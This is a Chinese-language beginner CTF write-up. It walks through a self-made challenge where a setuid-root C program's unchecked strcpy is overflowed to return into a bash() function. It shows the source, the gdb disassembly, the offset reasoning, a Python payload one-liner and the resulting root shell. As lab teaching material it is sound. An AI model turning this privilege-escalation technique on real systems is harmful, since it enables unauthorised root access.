一次简单的pwn题目
0x01 背景介绍
在A师傅的带领下,我假想了一个pwn简单题目,非常适合新手中的新手,其实发出来有点丢人的。
题目背景是这样的:
小Q登录上了一个服务器,他的用户名是rvn0xsy
,没有root权限,在home目录里发现了一个名为flag.txt的文件,很明显要获得flag.txt的内容,但是事情并没有那么简单……
小Q踏上了艰辛的旅程。
0x02 初入江湖
小Q查看了一下目录文件:
rvn0xsy@ubuntu:~/Pwn$ ll
total 44
drwxrwxr-x 2 rvn0xsy rvn0xsy 4096 Nov 5 19:50 ./
drwxr-xr-x 20 rvn0xsy rvn0xsy 4096 Nov 5 09:47 ../
-rwsr-sr-x 1 root root 8487 Nov 5 09:48 a.out*
-rw------- 1 root rvn0xsy 6 Nov 5 19:50 flag.txt
-rw-rw-r-- 1 rvn0xsy rvn0xsy 317 Nov 5 09:48 pwn.c
rvn0xsy@ubuntu:~/Pwn$ cat flag.txt
cat: flag.txt: Permission denied
rvn0xsy@ubuntu:~/Pwn$
发现了flag.txt,没有权限读取 :(
只能把目光转向a.out
,这个文件似乎不是那么简单,它具有S属性,如果我们能够通过它来执行命令的话……那肯定可以读取flag.txt !!
旁边还有一个pwn.c,会不会是它的源码呢?
0x03 踏上征程
rvn0xsy@ubuntu:~/Pwn$ cat -n pwn.c
1 #include <stdio.h>
2 #include <unistd.h>
3 #include <string.h>
4 #include <stdlib.h>
5
6 int bash();
7
8 int main(int argc,char * argv[]){
9 setuid(0);
10 if(argv[1] == NULL){
11 printf("usage : %s input string \n",argv[0]);
12 exit(-1);
13 }
14 char a[20];
15 strcpy(a,argv[1]);
16 printf("%s \n",a);
17 }
18
19 int bash(){
20 system("/bin/bash");
21 }
rvn0xsy@ubuntu:~/Pwn$
可以看到main
函数中有一个setuid(0);
,它将具有S属性的程序设置为root权限运行,其次该文件中还有一个bash
函数,灵光乍现! 如果执行了setuid(0);
再调用bash
函数就可以获得一个root权限的bash shell。
但是main函数中并没有调用bash函数,这个怎么办呢?
焦虑的小Q又会想起当年学习C语言时,自己触发过N次的segment fault
,是由于它没有检查strcpy
参数传入的长度,导致覆盖了数组边界。
但是其背后引出的问题都不是那么简单,上面只是普通程序员所理解的程度,而要深入问题的本质,还是要看汇编代码:
>>> disassemble main
Dump of assembler code for function main:
0x080484dd <+0>: push ebp ;将栈基地址压入栈
0x080484de <+1>: mov ebp,esp ;设置当前栈指针地址为基址
0x080484e0 <+3>: and esp,0xfffffff0
0x080484e3 <+6>: sub esp,0x30 ;将esp向后增长30(16进制=>48字节)位 给char a[20]分配的也在其中
0x080484e6 <+9>: mov DWORD PTR [esp],0x0
0x080484ed <+16>: call 0x80483d0 <setuid@plt> ; 调用setuid(0)
0x080484f2 <+21>: mov eax,DWORD PTR [ebp+0xc]
0x080484f5 <+24>: add eax,0x4
0x080484f8 <+27>: mov eax,DWORD PTR [eax]
0x080484fa <+29>: test eax,eax
0x080484fc <+31>: jne 0x804851f <main+66> ; 判断argv[1]是否为空
0x080484fe <+33>: mov eax,DWORD PTR [ebp+0xc]
0x08048501 <+36>: mov eax,DWORD PTR [eax]
0x08048503 <+38>: mov DWORD PTR [esp+0x4],eax
0x08048507 <+42>: mov DWORD PTR [esp],0x8048600
0x0804850e <+49>: call 0x8048370 <printf@plt> ; 调用printf
0x08048513 <+54>: mov DWORD PTR [esp],0xffffffff
0x0804851a <+61>: call 0x80483b0 <exit@plt> ; 退出
0x0804851f <+66>: mov eax,DWORD PTR [ebp+0xc]
0x08048522 <+69>: add eax,0x4
0x08048525 <+72>: mov eax,DWORD PTR [eax]
0x08048527 <+74>: mov DWORD PTR [esp+0x4],eax
0x0804852b <+78>: lea eax,[esp+0x1c]
0x0804852f <+82>: mov DWORD PTR [esp],eax
0x08048532 <+85>: call 0x8048380 <strcpy@plt>
0x08048537 <+90>: lea eax,[esp+0x1c]
0x0804853b <+94>: mov DWORD PTR [esp+0x4],eax
0x0804853f <+98>: mov DWORD PTR [esp],0x804861a
0x08048546 <+105>: call 0x8048370 <printf@plt> ; 输出 a
0x0804854b <+110>: leave
0x0804854c <+111>: ret
End of assembler dump.
在strcpy
处设置断点,栈情况:
[------------------------------------stack-------------------------------------]
0000| 0xbfe74180 --> 0x0
0004| 0xbfe74184 --> 0x2f ('/')
0008| 0xbfe74188 --> 0x804a000 --> 0x8049f14 --> 0x1
0012| 0xbfe7418c --> 0x80485c2 (<__libc_csu_init+82>: add edi,0x1)
0016| 0xbfe74190 --> 0x2
0020| 0xbfe74194 --> 0xbfe74254 --> 0xbfe75921 ("/home/rvn0xsy/Pwn/a.out")
0024| 0xbfe74198 --> 0xbfe74260 --> 0xbfe7593d ("SHELL=/bin/bash")
0028| 0xbfe7419c --> 0xb755164d (<__cxa_atexit+29>: test eax,eax)
0xbfe75921
就是argv
数组的首地址
>>> x /8s 0xbfe75921
0xbfe75921: "/home/rvn0xsy/Pwn/a.out"
0xbfe75939: "123"
0xbfe7593d: "SHELL=/bin/bash"
0xbfe7594d: "TERM=xterm"
0xbfe75958: "USER=rvn0xsy"
0xbfe75962: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31"...
0xbfe75a2a: ":*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d"...
0xbfe75af2: "eb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35"...
>>>
可以看到,我们传入的123
在0xbfe75939
通过计算strcpy()
的栈偏移量,我们可以确定0xbfe75939
到ESP
中函数返回值的空间有0xc
这个长度。
由于还有内存对齐的缘故,所以缓冲区的大小应该是32,再向后4个字节就是strcpy的下一条指令的地址
0x04 小有成绩
获得bash函数的地址:
>>> p bash
$1 = {int ()} 0x804854d <bash>
>>>
构造shellcode:
python -c "print 'x'*32+'\x4d\x85\x04\x08'"> exploit.txt
0x05 修仙完毕
rvn0xsy@ubuntu:~/Pwn$ ./a.out $(cat exploit.txt)
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxM�
bash-4.3# cat flag.txt
12580
bash-4.3# id
uid=0(root) gid=1000(rvn0xsy) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),125(sambashare),1000(rvn0xsy)
bash-4.3# exit
exit
Segmentation fault (core dumped)
rvn0xsy@ubuntu:~/Pwn$
flag.txt内容是12580,退出的时候,是由于EIP寄存器指向了一个非指令内存区域,导致段地址错误。